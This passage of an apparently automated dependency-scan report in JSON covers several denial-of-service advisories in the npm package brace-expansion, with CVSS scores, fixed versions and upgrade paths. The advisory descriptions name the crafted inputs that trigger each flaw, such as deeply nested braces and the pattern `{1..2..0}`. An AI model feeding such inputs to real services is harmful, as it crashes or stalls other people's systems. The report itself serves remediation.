"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
